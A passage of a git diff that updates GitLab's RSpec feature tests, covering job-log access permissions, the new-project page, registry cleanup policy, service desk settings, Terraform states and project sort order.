+
+ describe 'raw page' do
+ let_it_be(:job) { create(:ci_build, :running, :coverage, :trace_artifact, pipeline: pipeline) }
+
+ where(:public_builds, :user_project_role, :ci_debug_trace, :expected_status_code, :expected_msg) do
+ true | 'developer' | true | 200 | nil
+ true | 'guest' | true | 403 | 'You must have developer or higher permissions'
+ true | 'developer' | false | 200 | nil
+ true | 'guest' | false | 200 | nil
+ false | 'developer' | true | 200 | nil
+ false | 'guest' | true | 403 | 'You must have developer or higher permissions'
+ false | 'developer' | false | 200 | nil
+ false | 'guest' | false | 403 | 'The current user is not authorized to access the job log'
+ end
+
+ with_them do
+ before do
+ ci_instance_variable.update!(value: ci_debug_trace)
+ project.update!(public_builds: public_builds)
+ project.add_role(user, user_project_role)
+ end
+
+ it 'renders raw trace to authorized users' do
+ visit raw_project_job_path(project, job)
+
+ expect(status_code).to eq(expected_status_code)
+ expect(page).to have_content(expected_msg)
+ end
+ end
+
+ context 'when restrict_access_to_build_debug_mode feature not enabled' do
+ where(:public_builds, :user_project_role, :ci_debug_trace, :expected_status_code, :expected_msg) do
+ true | 'developer' | true | 200 | nil
+ true | 'guest' | true | 200 | nil
+ true | 'developer' | false | 200 | nil
+ true | 'guest' | false | 200 | nil
+ false | 'developer' | true | 200 | nil
+ false | 'guest' | true | 403 | 'The current user is not authorized to access the job log'
+ false | 'developer' | false | 200 | nil
+ false | 'guest' | false | 403 | 'The current user is not authorized to access the job log'
+ end
+
+ with_them do
+ before do
+ stub_feature_flags(restrict_access_to_build_debug_mode: false)
+ ci_instance_variable.update!(value: ci_debug_trace)
+ project.update!(public_builds: public_builds)
+ project.add_role(user, user_project_role)
+ end
+
+ it 'renders raw trace to authorized users' do
+ visit raw_project_job_path(project, job)
+
+ expect(status_code).to eq(expected_status_code)
+ expect(page).to have_content(expected_msg)
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/features/projects/jobs_spec.rb b/spec/features/projects/jobs_spec.rb
index e19337e1ff5..4edda9febbe 100644
--- a/spec/features/projects/jobs_spec.rb
+++ b/spec/features/projects/jobs_spec.rb
@@ -25,72 +25,113 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do
end
describe "GET /:project/jobs" do
- let!(:job) { create(:ci_build, pipeline: pipeline) }
-
- context "Pending scope" do
+ context 'with no jobs' do
before do
- visit project_jobs_path(project, scope: :pending)
- end
+ stub_experiment(jobs_empty_state: experiment_active)
+ stub_experiment_for_subject(jobs_empty_state: in_experiment_group)
- it "shows Pending tab jobs" do
- expect(page).to have_selector('.nav-links li.active', text: 'Pending')
- expect(page).to have_content job.short_sha
- expect(page).to have_content job.ref
- expect(page).to have_content job.name
+ visit project_jobs_path(project)
end
- end
- context "Running scope" do
- before do
- job.run!
- visit project_jobs_path(project, scope: :running)
- end
+ context 'when experiment not active' do
+ let(:experiment_active) { false }
+ let(:in_experiment_group) { false }
- it "shows Running tab jobs" do
- expect(page).to have_selector('.nav-links li.active', text: 'Running')
- expect(page).to have_content job.short_sha
- expect(page).to have_content job.ref
- expect(page).to have_content job.name
+ it 'shows the empty state control page' do
+ expect(page).to have_content('No jobs to show')
+ expect(page).to have_link('Get started with Pipelines')
+ end
end
- end
- context "Finished scope" do
- before do
- job.run!
- visit project_jobs_path(project, scope: :finished)
+ context 'when experiment active and user in control group' do
+ let(:experiment_active) { true }
+ let(:in_experiment_group) { false }
+
+ it 'shows the empty state control page' do
+ expect(page).to have_content('No jobs to show')
+ expect(page).to have_link('Get started with Pipelines')
+ end
end
- it "shows Finished tab jobs" do
- expect(page).to have_selector('.nav-links li.active', text: 'Finished')
- expect(page).to have_content 'No jobs to show'
+ context 'when experiment active and user in experimental group' do
+ let(:experiment_active) { true }
+ let(:in_experiment_group) { true }
+
+ it 'shows the empty state experiment page' do
+ expect(page).to have_content('Use jobs to automate your tasks')
+ expect(page).to have_link('Create CI/CD configuration file')
+ end
end
end
- context "All jobs" do
- before do
- project.builds.running_or_pending.each(&:success)
- visit project_jobs_path(project)
+ context 'with a job' do
+ let!(:job) { create(:ci_build, pipeline: pipeline) }
+
+ context "Pending scope" do
+ before do
+ visit project_jobs_path(project, scope: :pending)
+ end
+
+ it "shows Pending tab jobs" do
+ expect(page).to have_selector('.nav-links li.active', text: 'Pending')
+ expect(page).to have_content job.short_sha
+ expect(page).to have_content job.ref
+ expect(page).to have_content job.name
+ end
end
- it "shows All tab jobs" do
- expect(page).to have_selector('.nav-links li.active', text: 'All')
- expect(page).to have_content job.short_sha
- expect(page).to have_content job.ref
- expect(page).to have_content job.name
+ context "Running scope" do
+ before do
+ job.run!
+ visit project_jobs_path(project, scope: :running)
+ end
+
+ it "shows Running tab jobs" do
+ expect(page).to have_selector('.nav-links li.active', text: 'Running')
+ expect(page).to have_content job.short_sha
+ expect(page).to have_content job.ref
+ expect(page).to have_content job.name
+ end
end
- end
- context "when visiting old URL" do
- let(:jobs_url) do
- project_jobs_path(project)
+ context "Finished scope" do
+ before do
+ job.run!
+ visit project_jobs_path(project, scope: :finished)
+ end
+
+ it "shows Finished tab jobs" do
+ expect(page).to have_selector('.nav-links li.active', text: 'Finished')
+ expect(page).to have_content 'No jobs to show'
+ end
end
- before do
- visit jobs_url.sub('/-/jobs', '/builds')
+ context "All jobs" do
+ before do
+ project.builds.running_or_pending.each(&:success)
+ visit project_jobs_path(project)
+ end
+
+ it "shows All tab jobs" do
+ expect(page).to have_selector('.nav-links li.active', text: 'All')
+ expect(page).to have_content job.short_sha
+ expect(page).to have_content job.ref
+ expect(page).to have_content job.name
+ end
end
- it "redirects to new URL" do
- expect(page.current_path).to eq(jobs_url)
+ context "when visiting old URL" do
+ let(:jobs_url) do
+ project_jobs_path(project)
+ end
+
+ before do
+ visit jobs_url.sub('/-/jobs', '/builds')
+ end
+
+ it "redirects to new URL" do
+ expect(page.current_path).to eq(jobs_url)
+ end
end
end
end
diff --git a/spec/features/projects/labels/issues_sorted_by_priority_spec.rb b/spec/features/projects/labels/issues_sorted_by_priority_spec.rb
index 85a08c441ca..0a373b0d51a 100644
--- a/spec/features/projects/labels/issues_sorted_by_priority_spec.rb
+++ b/spec/features/projects/labels/issues_sorted_by_priority_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'Issue prioritization' do
# According to https://gitlab.com/gitlab-org/gitlab-foss/issues/14189#note_4360653
context 'when issues have one label', :js do
- it 'Are sorted properly' do
+ it 'are sorted properly' do
# Issues
issue_1 = create(:issue, title: 'issue_1', project: project)
issue_2 = create(:issue, title: 'issue_2', project: project)
@@ -45,7 +45,7 @@ RSpec.describe 'Issue prioritization' do
end
context 'when issues have multiple labels', :js do
- it 'Are sorted properly' do
+ it 'are sorted properly' do
# Issues
issue_1 = create(:issue, title: 'issue_1', project: project)
issue_2 = create(:issue, title: 'issue_2', project: project)
diff --git a/spec/features/projects/new_project_spec.rb b/spec/features/projects/new_project_spec.rb
index 6a2ec9aa4a8..4aabf040655 100644
--- a/spec/features/projects/new_project_spec.rb
+++ b/spec/features/projects/new_project_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'New project' do
+RSpec.describe 'New project', :js do
include Select2Helper
context 'as a user' do
@@ -18,6 +18,7 @@ RSpec.describe 'New project' do
)
visit new_project_path
+ find('[data-qa-selector="blank_project_link"]').click
expect(page).to have_content 'Other visibility settings have been disabled by the administrator.'
end
@@ -28,6 +29,7 @@ RSpec.describe 'New project' do
)
visit new_project_path
+ find('[data-qa-selector="blank_project_link"]').click
expect(page).to have_content 'Visibility settings have been disabled by the administrator.'
end
@@ -42,17 +44,18 @@ RSpec.describe 'New project' do
it 'shows "New project" page', :js do
visit new_project_path
+ find('[data-qa-selector="blank_project_link"]').click
expect(page).to have_content('Project name')
expect(page).to have_content('Project URL')
expect(page).to have_content('Project slug')
- find('#import-project-tab').click
+ click_link('New project')
+ find('[data-qa-selector="import_project_link"]').click
expect(page).to have_link('GitHub')
expect(page).to have_link('Bitbucket')
expect(page).to have_link('GitLab.com')
- expect(page).to have_link('Google Code')
expect(page).to have_button('Repo by URL')
expect(page).to have_link('GitLab export')
end
@@ -61,7 +64,7 @@ RSpec.describe 'New project' do
before do
visit new_project_path
- find('#import-project-tab').click
+ find('[data-qa-selector="import_project_link"]').click
end
it { expect(page).to have_link('Manifest file') }
@@ -73,6 +76,7 @@ RSpec.describe 'New project' do
stub_application_setting(default_project_visibility: level)
visit new_project_path
+ find('[data-qa-selector="blank_project_link"]').click
page.within('#blank-project-pane') do
expect(find_field("project_visibility_level_#{level}")).to be_checked
end
@@ -80,6 +84,7 @@ RSpec.describe 'New project' do
it "saves visibility level #{level} on validation error" do
visit new_project_path
+ find('[data-qa-selector="blank_project_link"]').click
choose(s_(key))
click_button('Create project')
@@ -97,6 +102,7 @@ RSpec.describe 'New project' do
it 'has private selected' do
group = create(:group, visibility_level: Gitlab::VisibilityLevel::PRIVATE)
visit new_project_path(namespace_id: group.id)
+ find('[data-qa-selector="blank_project_link"]').click
page.within('#blank-project-pane') do
expect(find_field("project_visibility_level_#{Gitlab::VisibilityLevel::PRIVATE}")).to be_checked
@@ -112,6 +118,7 @@ RSpec.describe 'New project' do
it 'has private selected' do
group = create(:group, visibility_level: Gitlab::VisibilityLevel::PUBLIC)
visit new_project_path(namespace_id: group.id, project: { visibility_level: Gitlab::VisibilityLevel::PRIVATE })
+ find('[data-qa-selector="blank_project_link"]').click
page.within('#blank-project-pane') do
expect(find_field("project_visibility_level_#{Gitlab::VisibilityLevel::PRIVATE}")).to be_checked
@@ -123,6 +130,7 @@ RSpec.describe 'New project' do
context 'Readme selector' do
it 'shows the initialize with Readme checkbox on "Blank project" tab' do
visit new_project_path
+ find('[data-qa-selector="blank_project_link"]').click
expect(page).to have_css('input#project_initialize_with_readme')
expect(page).to have_content('Initialize repository with a README')
@@ -130,7 +138,7 @@ RSpec.describe 'New project' do
it 'does not show the initialize with Readme checkbox on "Create from template" tab' do
visit new_project_path
- find('#create-from-template-pane').click
+ find('[data-qa-selector="create_from_template_link"]').click
first('.choose-template').click
page.within '.project-fields-form' do
@@ -141,7 +149,7 @@ RSpec.describe 'New project' do
it 'does not show the initialize with Readme checkbox on "Import project" tab' do
visit new_project_path
- find('#import-project-tab').click
+ find('[data-qa-selector="import_project_link"]').click
first('.js-import-git-toggle-button').click
page.within '.toggle-import-form' do
@@ -155,13 +163,12 @@ RSpec.describe 'New project' do
context 'with user namespace' do
before do
visit new_project_path
+ find('[data-qa-selector="blank_project_link"]').click
end
it 'selects the user namespace' do
page.within('#blank-project-pane') do
- namespace = find('#project_namespace_id')
-
- expect(namespace.text).to eq user.username
+ expect(page).to have_select('project[namespace_id]', visible: false, selected: user.username)
end
end
end
@@ -172,13 +179,12 @@ RSpec.describe 'New project' do
before do
group.add_owner(user)
visit new_project_path(namespace_id: group.id)
+ find('[data-qa-selector="blank_project_link"]').click
end
it 'selects the group namespace' do
page.within('#blank-project-pane') do
- namespace = find('#project_namespace_id option[selected]')
-
- expect(namespace.text).to eq group.name
+ expect(page).to have_select('project[namespace_id]', visible: false, selected: group.name)
end
end
end
@@ -190,13 +196,12 @@ RSpec.describe 'New project' do
before do
group.add_maintainer(user)
visit new_project_path(namespace_id: subgroup.id)
+ find('[data-qa-selector="blank_project_link"]').click
end
it 'selects the group namespace' do
page.within('#blank-project-pane') do
- namespace = find('#project_namespace_id option[selected]')
-
- expect(namespace.text).to eq subgroup.full_path
+ expect(page).to have_select('project[namespace_id]', visible: false, selected: subgroup.full_path)
end
end
end
@@ -211,6 +216,7 @@ RSpec.describe 'New project' do
internal_group.add_owner(user)
private_group.add_owner(user)
visit new_project_path(namespace_id: public_group.id)
+ find('[data-qa-selector="blank_project_link"]').click
end
it 'enables the correct visibility options' do
@@ -240,7 +246,7 @@ RSpec.describe 'New project' do
context 'Import project options', :js do
before do
visit new_project_path
- find('#import-project-tab').click
+ find('[data-qa-selector="import_project_link"]').click
end
context 'from git repository url, "Repo by URL"' do
@@ -285,17 +291,6 @@ RSpec.describe 'New project' do
end
end
- context 'from Google Code' do
- before do
- first('.import_google_code').click
- end
-
- it 'shows import instructions' do
- expect(page).to have_content('Import projects from Google Code')
- expect(current_path).to eq new_import_google_code_path
- end
- end
-
context 'from manifest file' do
before do
first('.import_manifest').click
@@ -315,13 +310,12 @@ RSpec.describe 'New project' do
before do
group.add_developer(user)
visit new_project_path(namespace_id: group.id)
+ find('[data-qa-selector="blank_project_link"]').click
end
it 'selects the group namespace' do
page.within('#blank-project-pane') do
- namespace = find('#project_namespace_id option[selected]')
-
- expect(namespace.text).to eq group.full_path
+ expect(page).to have_select('project[namespace_id]', visible: false, selected: group.full_path)
end
end
end
diff --git a/spec/features/projects/settings/operations_settings_spec.rb b/spec/features/projects/settings/operations_settings_spec.rb
index de7251db5c9..1d9f256a819 100644
--- a/spec/features/projects/settings/operations_settings_spec.rb
+++ b/spec/features/projects/settings/operations_settings_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'Projects > Settings > For a forked project', :js do
describe 'Settings > Operations' do
describe 'Incidents' do
- let(:create_issue) { 'Create an issue. Issues are created for each alert triggered.' }
+ let(:create_issue) { 'Create an incident. Incidents are created for each alert triggered.' }
let(:send_email) { 'Send a separate email notification to Developers.' }
before do
diff --git a/spec/features/projects/settings/registry_settings_spec.rb b/spec/features/projects/settings/registry_settings_spec.rb
index cb333bdb428..2b03ecf5af1 100644
--- a/spec/features/projects/settings/registry_settings_spec.rb
+++ b/spec/features/projects/settings/registry_settings_spec.rb
@@ -26,20 +26,20 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
subject
settings_block = find('#js-registry-policies')
- expect(settings_block).to have_text 'Cleanup policy for tags'
+ expect(settings_block).to have_text 'Clean up image tags'
end
it 'saves cleanup policy submit the form' do
subject
within '#js-registry-policies' do
- within '.gl-card-body' do
- select('7 days until tags are automatically removed', from: 'Expiration interval:')
- select('Every day', from: 'Expiration schedule:')
- select('50 tags per image name', from: 'Number of tags to retain:')
- fill_in('Tags with names matching this regex pattern will expire:', with: '.*-production')
- end
- submit_button = find('.gl-card-footer .btn.btn-success')
+ select('Every day', from: 'Run cleanup')
+ select('50 tags per image name', from: 'Keep the most recent:')
+ fill_in('Keep tags matching:', with: 'stable')
+ select('7 days', from: 'Remove tags older than:')
+ fill_in('Remove tags matching:', with: '.*-production')
+
+ submit_button = find('.btn.btn-success')
expect(submit_button).not_to be_disabled
submit_button.click
end
@@ -51,10 +51,9 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
subject
within '#js-registry-policies' do
- within '.gl-card-body' do
- fill_in('Tags with names matching this regex pattern will expire:', with: '*-production')
- end
- submit_button = find('.gl-card-footer .btn.btn-success')
+ fill_in('Remove tags matching:', with: '*-production')
+
+ submit_button = find('.btn.btn-success')
expect(submit_button).not_to be_disabled
submit_button.click
end
@@ -85,7 +84,7 @@ RSpec.describe 'Project > Settings > CI/CD > Container registry tag expiration p
within '#js-registry-policies' do
case result
when :available_section
- expect(find('.gl-card-header')).to have_content('Tag expiration policy')
+ expect(find('[data-testid="enable-toggle"]')).to have_content('Disabled - Tags will not be automatically deleted.')
when :disabled_message
expect(find('.gl-alert-title')).to have_content('Cleanup policy for tags is disabled')
end
diff --git a/spec/features/projects/settings/repository_settings_spec.rb b/spec/features/projects/settings/repository_settings_spec.rb
index 8c7b7bc70a2..3e520142117 100644
--- a/spec/features/projects/settings/repository_settings_spec.rb
+++ b/spec/features/projects/settings/repository_settings_spec.rb
@@ -289,13 +289,13 @@ RSpec.describe 'Projects > Settings > Repository settings' do
visit project_settings_repository_path(project)
end
- context 'when project mirroring is enabled' do
+ context 'when project mirroring is enabled', :enable_admin_mode do
let(:mirror_available) { true }
include_examples 'shows mirror settings'
end
- context 'when project mirroring is disabled' do
+ context 'when project mirroring is disabled', :enable_admin_mode do
let(:mirror_available) { false }
include_examples 'shows mirror settings'
diff --git a/spec/features/projects/settings/service_desk_setting_spec.rb b/spec/features/projects/settings/service_desk_setting_spec.rb
index 59e6f54da2f..d31913d2dcf 100644
--- a/spec/features/projects/settings/service_desk_setting_spec.rb
+++ b/spec/features/projects/settings/service_desk_setting_spec.rb
@@ -14,20 +14,57 @@ RSpec.describe 'Service Desk Setting', :js do
allow_any_instance_of(Project).to receive(:present).with(current_user: user).and_return(presenter)
allow(::Gitlab::IncomingEmail).to receive(:enabled?) { true }
allow(::Gitlab::IncomingEmail).to receive(:supports_wildcard?) { true }
-
- visit edit_project_path(project)
end
it 'shows activation checkbox' do
+ visit edit_project_path(project)
+
expect(page).to have_selector("#service-desk-checkbox")
end
- it 'shows incoming email after activating' do
- find("#service-desk-checkbox").click
- wait_for_requests
- project.reload
- expect(project.service_desk_enabled).to be_truthy
- expect(project.service_desk_address).to be_present
- expect(find('[data-testid="incoming-email"]').value).to eq(project.service_desk_address)
+ context 'when service_desk_email is disabled' do
+ before do
+ allow(::Gitlab::ServiceDeskEmail).to receive(:enabled?).and_return(false)
+
+ visit edit_project_path(project)
+ end
+
+ it 'shows incoming email but not project name suffix after activating' do
+ find("#service-desk-checkbox").click
+
+ wait_for_requests
+
+ project.reload
+ expect(project.service_desk_enabled).to be_truthy
+ expect(project.service_desk_address).to be_present
+ expect(find('[data-testid="incoming-email"]').value).to eq(project.service_desk_incoming_address)
+ expect(page).not_to have_selector('#service-desk-project-suffix')
+ end
+ end
+
+ context 'when service_desk_email is enabled' do
+ before do
+ allow(::Gitlab::ServiceDeskEmail).to receive(:enabled?) { true }
+ allow(::Gitlab::ServiceDeskEmail).to receive(:address_for_key) { 'address-suffix@example.com' }
+
+ visit edit_project_path(project)
+ end
+
+ it 'allows setting of custom address suffix' do
+ find("#service-desk-checkbox").click
+ wait_for_requests
+
+ project.reload
+ expect(find('[data-testid="incoming-email"]').value).to eq(project.service_desk_incoming_address)
+
+ page.within '#js-service-desk' do
+ fill_in('service-desk-project-suffix', with: 'foo')
+ click_button 'Save changes'
+ end
+
+ wait_for_requests
+
+ expect(find('[data-testid="incoming-email"]').value).to eq('address-suffix@example.com')
+ end
end
end
diff --git a/spec/features/projects/settings/user_interacts_with_deploy_keys_spec.rb b/spec/features/projects/settings/user_interacts_with_deploy_keys_spec.rb
index ba504624823..91a7753fe6d 100644
--- a/spec/features/projects/settings/user_interacts_with_deploy_keys_spec.rb
+++ b/spec/features/projects/settings/user_interacts_with_deploy_keys_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe "User interacts with deploy keys", :js do
click_button("Enable")
- expect(page).not_to have_selector(".fa-spinner")
+ expect(page).not_to have_selector(".gl-spinner")
expect(current_path).to eq(project_settings_repository_path(project))
find(".js-deployKeys-tab-enabled_keys").click
diff --git a/spec/features/projects/show/developer_views_empty_project_instructions_spec.rb b/spec/features/projects/show/developer_views_empty_project_instructions_spec.rb
deleted file mode 100644
index 8d239cb2cbf..00000000000
--- a/spec/features/projects/show/developer_views_empty_project_instructions_spec.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Projects > Show > Developer views empty project instructions' do
- let(:project) { create(:project, :empty_repo) }
- let(:developer) { create(:user) }
-
- before do
- project.add_developer(developer)
-
- sign_in(developer)
- end
-
- it 'displays "git clone" instructions' do
- visit project_path(project)
-
- expect(page).to have_content("git clone")
- end
-end
diff --git a/spec/features/projects/show/no_password_spec.rb b/spec/features/projects/show/no_password_spec.rb
index 79cd65e5406..d18ff75b324 100644
--- a/spec/features/projects/show/no_password_spec.rb
+++ b/spec/features/projects/show/no_password_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'No Password Alert' do
let(:user) { create(:user) }
it 'shows no alert' do
- expect(page).not_to have_content "You won't be able to pull or push project code via HTTP until you set a password on your account"
+ expect(page).not_to have_content "You won't be able to pull or push repositories via HTTP until you set a password on your account"
end
end
@@ -23,7 +23,7 @@ RSpec.describe 'No Password Alert' do
let(:user) { create(:user, password_automatically_set: true) }
it 'shows a password alert' do
- expect(page).to have_content "You won't be able to pull or push project code via HTTP until you set a password on your account"
+ expect(page).to have_content "You won't be able to pull or push repositories via HTTP until you set a password on your account"
end
end
end
@@ -41,7 +41,7 @@ RSpec.describe 'No Password Alert' do
gitlab_sign_in_via('saml', user, 'my-uid')
visit project_path(project)
- expect(page).to have_content "You won't be able to pull or push project code via HTTP until you create a personal access token on your account"
+ expect(page).to have_content "You won't be able to pull or push repositories via HTTP until you create a personal access token on your account"
end
end
@@ -51,7 +51,7 @@ RSpec.describe 'No Password Alert' do
gitlab_sign_in_via('saml', user, 'my-uid')
visit project_path(project)
- expect(page).not_to have_content "You won't be able to pull or push project code via HTTP until you create a personal access token on your account"
+ expect(page).not_to have_content "You won't be able to pull or push repositories via HTTP until you create a personal access token on your account"
end
end
end
@@ -65,7 +65,7 @@ RSpec.describe 'No Password Alert' do
end
it 'shows no alert' do
- expect(page).not_to have_content "You won't be able to pull or push project code via HTTP until you"
+ expect(page).not_to have_content "You won't be able to pull or push repositories via HTTP until you"
end
end
end
diff --git a/spec/features/projects/show/schema_markup_spec.rb b/spec/features/projects/show/schema_markup_spec.rb
index e651798af23..1777b72cbf5 100644
--- a/spec/features/projects/show/schema_markup_spec.rb
+++ b/spec/features/projects/show/schema_markup_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe 'Projects > Show > Schema Markup' do
expect(page).to have_selector('img[itemprop="image"]')
expect(page).to have_selector('[itemprop="name"]', text: project.name)
expect(page).to have_selector('[itemprop="identifier"]', text: "Project ID: #{project.id}")
- expect(page).to have_selector('[itemprop="abstract"]', text: project.description)
+ expect(page).to have_selector('[itemprop="description"]', text: project.description)
expect(page).to have_selector('[itemprop="license"]', text: project.repository.license.name)
expect(find_all('[itemprop="keywords"]').map(&:text)).to match_array(project.tag_list.map(&:capitalize))
expect(page).to have_selector('[itemprop="about"]')
diff --git a/spec/features/projects/show/user_sees_git_instructions_spec.rb b/spec/features/projects/show/user_sees_git_instructions_spec.rb
index 3b77fd7eebf..febdb70de86 100644
--- a/spec/features/projects/show/user_sees_git_instructions_spec.rb
+++ b/spec/features/projects/show/user_sees_git_instructions_spec.rb
@@ -122,13 +122,11 @@ RSpec.describe 'Projects > Show > User sees Git instructions' do
context 'when project is not empty' do
let_it_be(:project) { create(:project, :public, :repository) }
- before do
- visit(project_path(project))
- end
-
context 'when not signed in' do
before do
allow(Gitlab.config.gitlab).to receive(:host).and_return('www.example.com')
+
+ visit(project_path(project))
end
include_examples 'shows details of non empty project'
diff --git a/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb b/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
index 189aa45ff75..9b51e867156 100644
--- a/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
+++ b/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'Projects > Show > User sees setup shortcut buttons' do
visit project_path(project)
end
- it 'Project buttons are not visible' do
+ it 'project buttons are not visible' do
visit project_path(project)
page.within('.project-buttons') do
@@ -165,7 +165,7 @@ RSpec.describe 'Projects > Show > User sees setup shortcut buttons' do
context 'when the project does not have a README' do
it 'shows the single file editor "Add README" button' do
- allow(project.repository).to receive(:readme).and_return(nil)
+ allow(project.repository).to receive(:readme_path).and_return(nil)
visit project_path(project)
diff --git a/spec/features/projects/terraform_spec.rb b/spec/features/projects/terraform_spec.rb
index 2680dfb2b13..dfa4dad8490 100644
--- a/spec/features/projects/terraform_spec.rb
+++ b/spec/features/projects/terraform_spec.rb
@@ -4,44 +4,94 @@ require 'spec_helper'
RSpec.describe 'Terraform', :js do
let_it_be(:project) { create(:project) }
+ let_it_be(:terraform_state) { create(:terraform_state, :locked, :with_version, project: project) }
- let(:user) { project.creator }
+ context 'when user is a terraform administrator' do
+ let(:admin) { project.creator }
- before do
- gitlab_sign_in(user)
- end
-
- context 'when user does not have any terraform states and visits index page' do
before do
- visit project_terraform_index_path(project)
+ gitlab_sign_in(admin)
end
- it 'sees an empty state' do
- expect(page).to have_content('Get started with Terraform')
+ context 'when user does not have any terraform states and visits the index page' do
+ let(:empty_project) { create(:project) }
+
+ before do
+ empty_project.add_maintainer(admin)
+ visit project_terraform_index_path(empty_project)
+ end
+
+ it 'sees an empty state' do
+ expect(page).to have_content('Get started with Terraform')
+ end
end
- end
- context 'when user has a terraform state' do
- let_it_be(:terraform_state) { create(:terraform_state, :locked, project: project) }
+ context 'when user has a terraform state' do
+ context 'when user visits the index page' do
+ before do
+ visit project_terraform_index_path(project)
+ end
- context 'when user visits the index page' do
- before do
- visit project_terraform_index_path(project)
+ it 'displays a tab with states count' do
+ expect(page).to have_content("States #{project.terraform_states.size}")
+ end
+
+ it 'displays a table with terraform states' do
+ expect(page).to have_selector(
+ '[data-testid="terraform-states-table-name"]',
+ count: project.terraform_states.size
+ )
+ end
+
+ it 'displays terraform actions dropdown' do
+ expect(page).to have_selector(
+ '[data-testid*="terraform-state-actions"]',
+ count: project.terraform_states.size
+ )
+ end
+
+ it 'displays terraform information' do
+ expect(page).to have_content(terraform_state.name)
+ end
end
- it 'displays a tab with states count' do
- expect(page).to have_content("States #{project.terraform_states.size}")
+ context 'when clicking on the delete button' do
+ let(:additional_state) { create(:terraform_state, project: project) }
+
+ it 'removes the state', :aggregate_failures do
+ visit project_terraform_index_path(project)
+
+ expect(page).to have_content(additional_state.name)
+
+ find("[data-testid='terraform-state-actions-#{additional_state.name}']").click
+ find('[data-testid="terraform-state-remove"]').click
+ fill_in "terraform-state-remove-input-#{additional_state.name}", with: additional_state.name
+ click_button 'Remove'
+
+ expect(page).not_to have_content(additional_state.name)
+ expect { additional_state.reload }.to raise_error ActiveRecord::RecordNotFound
+ end
end
+ end
+ end
+
+ context 'when user is a terraform developer' do
+ let_it_be(:developer) { create(:user) }
- it 'displays a table with terraform states' do
+ before do
+ project.add_developer(developer)
+ gitlab_sign_in(developer)
+ visit project_terraform_index_path(project)
+ end
+
+ context 'when user visits the index page' do
+ it 'displays a table without an action dropdown', :aggregate_failures do
expect(page).to have_selector(
- '[data-testid="terraform-states-table"] tbody tr',
+ '[data-testid="terraform-states-table-name"]',
count: project.terraform_states.size
)
- end
- it 'displays terraform information' do
- expect(page).to have_content(terraform_state.name)
+ expect(page).not_to have_selector('[data-testid*="terraform-state-actions"]')
end
end
end
diff --git a/spec/features/projects/user_creates_project_spec.rb b/spec/features/projects/user_creates_project_spec.rb
index b204ae76e07..feb5f348256 100644
--- a/spec/features/projects/user_creates_project_spec.rb
+++ b/spec/features/projects/user_creates_project_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe 'User creates a project', :js do
it 'creates a new project' do
visit(new_project_path)
+ find('[data-qa-selector="blank_project_link"]').click
fill_in(:project_name, with: 'Empty')
page.within('#content-body') do
@@ -39,6 +40,7 @@ RSpec.describe 'User creates a project', :js do
it 'creates a new project' do
visit(new_project_path)
+ find('[data-qa-selector="blank_project_link"]').click
fill_in :project_name, with: 'A Subgroup Project'
fill_in :project_path, with: 'a-subgroup-project'
@@ -67,6 +69,7 @@ RSpec.describe 'User creates a project', :js do
it 'creates a new project' do
visit(new_project_path)
+ find('[data-qa-selector="blank_project_link"]').click
fill_in :project_name, with: 'a-new-project'
fill_in :project_path, with: 'a-new-project'
diff --git a/spec/features/projects/user_sorts_projects_spec.rb b/spec/features/projects/user_sorts_projects_spec.rb
new file mode 100644
index 00000000000..6a5ed49f1a6
--- /dev/null
+++ b/spec/features/projects/user_sorts_projects_spec.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'User sorts projects and order persists' do
+ include CookieHelper
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:group_member) { create(:group_member, :maintainer, user: user, group: group) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+
+ shared_examples_for "sort order persists across all views" do |project_paths_label, group_paths_label|
+ it "is set on the dashboard_projects_path" do
+ visit(dashboard_projects_path)
+
+ expect(find('.dropdown-menu a.is-active', text: project_paths_label)).to have_content(project_paths_label)
+ end
+
+ it "is set on the explore_projects_path" do
+ visit(explore_projects_path)
+
+ expect(find('.dropdown-menu a.is-active', text: project_paths_label)).to have_content(project_paths_label)
+ end
+
+ it "is set on the group_canonical_path" do
+ visit(group_canonical_path(group))
+
+ expect(find('.dropdown-menu a.is-active', text: group_paths_label)).to have_content(group_paths_label)
+ end
+
+ it "is set on the details_group_path" do
+ visit(details_group_path(group))
+
+ expect(find('.dropdown-menu a.is-active', text: group_paths_label)).to have_content(group_paths_label)
+ end
+ end
+
+ context "from explore projects" do
+ before do
+ sign_in(user)
+ visit(explore_projects_path)
+ find('#sort-projects-dropdown').click
+ first(:link, 'Last updated').click
+ end
+
+ it_behaves_like "sort order persists across all views", "Last updated", "Last updated"
+ end
+
+ context 'from dashboard projects' do
+ before do
+ sign_in(user)
+ visit(dashboard_projects_path)
+ find('#sort-projects-dropdown').click
+ first(:link, 'Name').click
+ end
+
+ it_behaves_like "sort order persists across all views", "Name", "Name"
+ end
+
+ context 'from group homepage' do
+ before do
+ sign_in(user)
+ visit(group_canonical_path(group))
+ find('button.dropdown-menu-toggle').click
+ first(:link, 'Last created').click
+ end
+
+ it_behaves_like "sort order persists across all views", "Created date", "Last created"
+ end
+
+ context 'from group details' do
+ before do
+ sign_in(user)
+ visit(details_group_path(group))
+ find('button.dropdown-menu-toggle').click
+ first(:link, 'Most stars').click
+ end
+
+ it_behaves_like "sort order persists across all views", "Stars", "Most stars"
+ end
+end
diff --git a/spec/features/projects/user_views_empty_project_spec.rb b/spec/features/projects/user_views_empty_project_spec.rb
